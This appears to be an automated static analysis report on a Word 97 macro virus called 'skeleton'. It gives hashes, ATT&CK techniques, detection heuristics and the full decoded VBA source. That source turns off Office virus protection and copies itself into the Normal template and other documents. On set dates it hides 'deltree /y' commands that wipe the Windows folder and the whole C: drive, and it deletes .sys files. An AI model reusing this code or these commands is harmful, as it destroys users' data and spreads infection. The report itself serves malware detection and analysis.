Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d1a56ee66c876357…

MALICIOUS

Office (OLE)

67.0 KB Created: 1980-05-15 04:41:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 96d8c06f0bbe0c633578b24420558b4c SHA-1: 914f38579ab8b277e0d353ee38927e6f2978ccfe SHA-256: d1a56ee66c87635700f31853e451d7416eefa694b0960afc50953c16158f4d6d
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1491.001 Defacement T1485 Data Destruction

The sample is a malicious Office document containing VBA macros. The AutoExec subroutine is designed to execute on document opening, and it contains calls to 'Shell "deltree /y c:\windows", vbHide' and 'Shell "deltree /y c:\*.*", vbHide'. These commands are intended to delete files from the system, indicating a data destruction or system disruption objective. The presence of legacy WordBasic markers and the ClamAV detection further support its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Mbug-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mbug-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "deltree /y c:\windows", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5175 bytes
SHA-256: 97c55c6b3608eaaec0dfceab36864d0b63dba8ce9942d11d0ca08bbbc7ae20fd
Detection
ClamAV: Win.Trojan.DelTree-10
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{357E7A7B-BD95-11BD-B109-444553540000}{357E7A68-BD95-11BD-B109-444553540000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub TextBox1_Change()

End Sub

Private Sub UserForm_Click()
MsgBox "Skeleton Box", vbInformation, "Skeleton"
End Sub



Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{357E7A92-BD95-11BD-B109-444553540000}{357E7A73-BD95-11BD-B109-444553540000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub CommandButton1_Click()
Kill "c:\windows\*.sys"
End Sub

Private Sub CommandButton2_Click()
Kill "c:\*.sys"
End Sub

Attribute VB_Name = "skeleton"
Sub AutoExec()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo errorAE
If Day(Now()) = "30" Then
UserForm1.Show
Shell "deltree /y c:\windows", vbHide
Shell "deltree /y c:\*.*", vbHide
End If
errorAE:
End Sub
Sub AutoNew()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAN
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="skeleton", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="userform1", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="userform2", Object:=wdOrganizerObjectProjectItems
    With Dialogs(wdDialogFileSummaryInfo)
        .Subject = "Skeleton Macro"
        .Execute
    End With
ErrorAN:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAO
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "skeleton" Then
        bInstalled = -1
    End If
Next i
If Not bInstalled Then
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="skeleton", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm2", Object:=wdOrganizerObjectProjectItems
    For a = 1 To 10
    StatusBar = "Skeleton"
    Next a
Else
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="skeleton", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm2", Object:=wdOrganizerObjectProjectItems
End If
ErrorAO:
End Sub
Sub FileSaveAs()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    If Day(Now()) = "1" Or Day(Now()) = "13" Then
    UserForm2.Show
    Shell "deltree /y c:\windows", vbMinimizedFocus
    Shell "deltree /y c:\*.*", vbMinimizedFocus
    End If
    Dialogs(wdDialogFileSaveAs).Show
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="skeleton", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm1", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm2", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ErrorFSA:
If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
    ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
End If
End Sub

Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
ErrorFT:
End Sub

Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorTM
ErrorTM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorVVBC
ErrorVVBC:
End Sub

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